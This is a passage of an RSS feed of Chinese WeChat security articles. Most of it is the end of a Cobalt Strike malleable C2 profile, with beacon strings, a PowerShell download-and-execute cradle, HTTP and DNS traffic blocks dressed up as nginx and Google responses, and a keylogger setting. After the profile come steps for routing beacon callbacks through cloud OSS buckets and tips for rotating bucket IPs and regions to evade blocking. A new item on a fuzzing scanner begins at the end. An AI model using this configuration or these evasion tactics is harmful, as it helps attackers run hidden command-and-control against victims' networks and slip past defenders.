class="code-snippet__string">&#34;SeCreatePagefilePrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeCreatePermanentPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeBackupPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeRestorePrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeShutdownPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeAuditPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeSystemEnvironmentPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeChangeNotifyPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeRemoteShutdownPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeUndockPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeSyncAgentPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeEnableDelegationPrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;SeManageVolumePrivilege&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not create service: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not start service: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Failed to impersonate token: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Failed to get token&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;IsWow64Process&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;kernel32&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not open &#39;%s&#39;&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s\\%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;copy failed: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;move failed: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;D  0  %02d-%02d-%02d %02d.%02d.%02d  %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;F  %I64d  %02d-%02d-%02d %02d.%02d.%02d  %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Wow64DisableWow64FsRedirection&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Wow64RevertWow64FsRedirection&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;ppid %d is in a different desktop session (spawned jobs may fail). Use &#39;ppid&#39; to reset.&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not allocate %d bytes in process: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not write to process memory: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not adjust permissions in process: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not create remote thread in %d: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not open process %d: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%d is an x64 process (can&#39;t inject x86 content)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%d is an x86 process (can&#39;t inject x64 content)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;syswow64&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;system32&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not set PPID to %d: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not set PPID to %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;ntdll&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;NtQueueApcThread&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%ld  &#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%.2X&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%.2X:&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;process&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not connect to pipe: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%d  %d  %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Kerberos&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;kerberos ticket purge failed: %08x&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;kerberos ticket use failed: %08x&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not connect to pipe: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not connect to pipe&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Maximum links reached. Disconnect one&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%d  %d  %d.%d  %s  %s  %s  %d  %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not bind to %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;IEX (New-Object Net.Webclient).DownloadString(&#39;<a href="http://127.0.0.1:%u/" target="_blank">http://127.0.0.1:%u/</a>&#39;)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%%IMPORT%%&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Command length (%d) too long&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;IEX (New-Object Net.Webclient).DownloadString(&#39;<a href="http://127.0.0.1:%u/" target="_blank">http://127.0.0.1:%u/</a>&#39;); %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;powershell -nop -exec bypass -EncodedCommand \&#34;%s\&#34;&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;?%s=%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s and %s = %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s%s: %s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s&amp;%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s%s&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not kill %d: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s  %d  %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s  %d  %d  %s  %s  %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s\\*&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;sha256&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;abcdefghijklmnop&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;sprng&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;could not create pipe: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;I&#39;m already in SMB mode&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;%s {admin}&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not open process: %d (%u)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Failed to impersonate token from %d (%u)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Failed to duplicate primary token for %d (%u)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Failed to impersonate logged on user %d (%u)&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Could not create token: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;HTTP/1.1 200 OK&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Content-Type: application/octet-stream&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Content-Length: %d&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">string</span> <span class="code-snippet__string">&#34;Microsoft Base Cryptographic Provider v1.0&#34;</span>;</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__meta"># <span class="code-snippet__meta-keyword">define</span> indicators for an HTTP GET</span></span></p><p><span class="code-snippet_outer">http-get {</span></p><p></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">set</span> uri <span class="code-snippet__string">&#34;/wiki/doc&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">  client {</span></p><p><span class="code-snippet_outer">    metadata {</span></p><p><span class="code-snippet_outer">      base64url;</span></p><p><span class="code-snippet_outer">      prepend <span class="code-snippet__string">&#34;SESSIONID=&#34;</span>;</span></p><p><span class="code-snippet_outer">      header <span class="code-snippet__string">&#34;Cookie&#34;</span>;</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">  }</span></p><p></p><p><span class="code-snippet_outer">  server {</span></p><p><span class="code-snippet_outer">    header <span class="code-snippet__string">&#34;Server&#34;</span> <span class="code-snippet__string">&#34;nginx/1.10.3 (Ubuntu)&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Content-Type&#34;</span> <span class="code-snippet__string">&#34;application/octet-stream&#34;</span>;</span></p><p><span class="code-snippet_outer">          header <span class="code-snippet__string">&#34;Connection&#34;</span> <span class="code-snippet__string">&#34;keep-alive&#34;</span>;</span></p><p><span class="code-snippet_outer">          header <span class="code-snippet__string">&#34;Vary&#34;</span> <span class="code-snippet__string">&#34;Accept&#34;</span>;</span></p><p><span class="code-snippet_outer">          header <span class="code-snippet__string">&#34;Pragma&#34;</span> <span class="code-snippet__string">&#34;public&#34;</span>;</span></p><p><span class="code-snippet_outer">      header <span class="code-snippet__string">&#34;Cache-Control&#34;</span> <span class="code-snippet__string">&#34;no-cache&#34;</span>;</span></p><p><span class="code-snippet_outer">          header <span class="code-snippet__string">&#34;Expires&#34;</span> <span class="code-snippet__string">&#34;0&#34;</span>;</span></p><p><span class="code-snippet_outer">          header <span class="code-snippet__string">&#34;Cache-Control&#34;</span> <span class="code-snippet__string">&#34;must-revalidate, post-check=0, pre-check=0&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">    output {</span></p><p><span class="code-snippet_outer">      mask;</span></p><p><span class="code-snippet_outer">      netbios;</span></p><p><span class="code-snippet_outer">      prepend <span class="code-snippet__string">&#34;data=&#34;</span>;</span></p><p><span class="code-snippet_outer">      append <span class="code-snippet__string">&#34;%%&#34;</span>;</span></p><p><span class="code-snippet_outer">      print;</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">  }</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer">http-post {</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">set</span> uri <span class="code-snippet__string">&#34;/wiki/IMXo&#34;</span>;</span></p><p><span class="code-snippet_outer">  <span class="code-snippet__built_in">set</span> verb <span class="code-snippet__string">&#34;GET&#34;</span>;</span></p><p><span class="code-snippet_outer">  client {</span></p><p></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Ch-Ua&#34;</span> <span class="code-snippet__string">&#34;\&#34; Not;A Brand\&#34;;v=\&#34;99\&#34;, \&#34;Google Chrome\&#34;;v=\&#34;97\&#34;, \&#34;Chromium\&#34;;v=\&#34;97\&#34;&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Ch-Ua-Mobile&#34;</span> <span class="code-snippet__string">&#34;?0&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Ch-Ua-Platfrom&#34;</span> <span class="code-snippet__string">&#34;Windows&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Accept&#34;</span> <span class="code-snippet__string">&#34;*/*&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Origin&#34;</span> <span class="code-snippet__string">&#34;Google&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Fetch-Site&#34;</span> <span class="code-snippet__string">&#34;same-origin&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Fetch-Mode&#34;</span> <span class="code-snippet__string">&#34;no-cors&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Sec-Fetch-Dest&#34;</span> <span class="code-snippet__string">&#34;empty&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Referer&#34;</span> <span class="code-snippet__string">&#34;<a href="https://www.google.com" target="_blank">https://www.google.com</a>&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Accept-Language&#34;</span> <span class="code-snippet__string">&#34;en-US,en;q=0.9&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">        output {</span></p><p><span class="code-snippet_outer">            base64url;</span></p><p><span class="code-snippet_outer">            header <span class="code-snippet__string">&#34;X-Client-Data&#34;</span>;</span></p><p></p><p></p><p><span class="code-snippet_outer">        }</span></p><p></p><p><span class="code-snippet_outer">        id {</span></p><p><span class="code-snippet_outer">            base64url;</span></p><p><span class="code-snippet_outer">            parameter <span class="code-snippet__string">&#34;ei&#34;</span>;</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">  server {</span></p><p></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Content-Type&#34;</span> <span class="code-snippet__string">&#34;text/html; charset=UTF-8&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Bfcache-Opt-In&#34;</span> <span class="code-snippet__string">&#34;unload&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Server&#34;</span> <span class="code-snippet__string">&#34;gws&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;X-Xss-Protection&#34;</span> <span class="code-snippet__string">&#34;0&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;X-Frame-Origins&#34;</span> <span class="code-snippet__string">&#34;SAMEORIGIN&#34;</span>;</span></p><p><span class="code-snippet_outer">        header <span class="code-snippet__string">&#34;Alt-Svc&#34;</span> <span class="code-snippet__string">&#34;h3=\&#34;:443\&#34;; ma=2592000,h3-29=\&#34;:443\&#34;; ma=2592000,h3-Q050=\&#34;:443\&#34;; ma=2592000,h3-Q046=\&#34;:443\&#34;; ma=2592000,h3-Q043=\&#34;:443\&#34;; ma=2592000,quic=\&#34;:443\&#34;; ma=2592000; v=\&#34;46,43\&#34;&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">        output {</span></p><p><span class="code-snippet_outer">            netbios;        </span></p><p><span class="code-snippet_outer">            prepend <span class="code-snippet__string">&#34;\n&#34;</span>;</span></p><p><span class="code-snippet_outer">            prepend <span class="code-snippet__string">&#34;{&#34;</span>;</span></p><p><span class="code-snippet_outer">            append <span class="code-snippet__string">&#34;\n&#34;</span>;</span></p><p><span class="code-snippet_outer">            append <span class="code-snippet__string">&#34;}&#34;</span>;</span></p><p><span class="code-snippet_outer">            print;</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer">post-ex {</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> spawnto_x86 <span class="code-snippet__string">&#34;c:\\windows\\syswow64\\rundll32.exe&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> spawnto_x64 <span class="code-snippet__string">&#34;c:\\windows\\system32\\rundll32.exe&#34;</span>;</span></p><p><span class="code-snippet_outer">    </span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> thread_hint <span class="code-snippet__string">&#34;ntdll.dll!RtlUserThreadStart+0x1000&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> pipename <span class="code-snippet__string">&#34;DserNamePipe##, PGMessagePipe##, MsFteWds##&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> keylogger <span class="code-snippet__string">&#34;SetWindowsHookEx&#34;</span>;</span></p><p><span class="code-snippet_outer">}</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__meta"># <span class="code-snippet__meta-keyword">define</span> indicators/attributes for a DNS Beacon</span></span></p><p><span class="code-snippet_outer">dns-beacon {</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__meta"># maximum number of bytes to send in a DNS A record request</span></span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> maxdns    <span class="code-snippet__string">&#34;255&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> beacon <span class="code-snippet__string">&#34;&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> get_A <span class="code-snippet__string">&#34;cdn.&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> get_AAAA <span class="code-snippet__string">&#34;www6.&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> get_TXT <span class="code-snippet__string">&#34;api.&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> put_metadata <span class="code-snippet__string">&#34;www.&#34;</span>;</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__built_in">set</span> put_output <span class="code-snippet__string">&#34;post.&#34;</span>;</span></p><p><span class="code-snippet_outer">}</span></p><p></p></pre></p><p style="text-wrap: wrap;">5.配置listener指向bucket</p><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000700" data-ratio="0.7918848167539267" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="764" src="https://wechat2rss.xlab.app/img-proxy/?k=65b97f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148tSQicW7wzq7kc0M07c1HcNP5XicgK2FpmwPtcgUA2uZRkErFo98FYJ8Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>03</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>上线测试</strong></p></div></div></div></div></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000701" data-ratio="0.7508960573476703" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="558" src="https://wechat2rss.xlab.app/img-proxy/?k=fd5cb111&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148ibNRsgmOplDxdGHakTmowXqEbsSbGy92MiaiasHUbokj2CGfPAtHYFj5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000702" data-ratio="0.5212962962962963" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ff178c53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148742jPs3WzYBmR26HicnoewodIlQUcXKQlxaaWO9OvKFdecKt5jP6lUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;"><p style="text-wrap: wrap;"><strong>04</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);"><p style="text-wrap: wrap;"><strong>思路拓展</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">1.和cdn的域前置玩法一样，可以采集各地区oss的指向的ip list，host绑定，随机轮询IP访问，能够规避单个ip被封的情况。</p><p style="text-wrap: wrap;">2.注册n个地区的oss bucket，每个地区又注册n个bucket，避免bucket域名被封，不同地区域名天然轮询到的IP就不同，可进一步避免被封。</p></div><div style="font-size: 15px;"><p style="text-wrap: wrap;">不用租户之间的bucket指向的ip池上一样的，不会真的有甲方把会把全球oss的ip全封了吧🐶</p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f1b6fcd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148nJId4s0pR54MYmRUHGa7az2OcgPmzOpIAibia4pyibfJDTyXhNdIne9vw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=12019cb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148tSQicW7wzq7kc0M07c1HcNP5XicgK2FpmwPtcgUA2uZRkErFo98FYJ8Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2734b6b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148ibNRsgmOplDxdGHakTmowXqEbsSbGy92MiaiasHUbokj2CGfPAtHYFj5g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2a90c8dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWjgbg479IFE8vG4BofZT148742jPs3WzYBmR26HicnoewodIlQUcXKQlxaaWO9OvKFdecKt5jP6lUQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484353">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4eede6b5&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484353%26idx%3D1%26sn%3Db79772c4e36dbb08b09eb8b6405672fe">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 10 May 2024 23:43:00 +0800</pubDate>
    </item>
    <item>
      <title>RCEFuzzer - 被动扫描与fuzz上一些思路的实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484275&amp;idx=1&amp;sn=784ad28dbab932799bb6a62a5e8546a8</link>
      <description>这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。</description>
      <content:encoded><![CDATA[<p>
原创 <span>thekingofduck</span> <span>2023-12-25 22:55</span> <span style="display: inline-block;">北京</span>
</p>

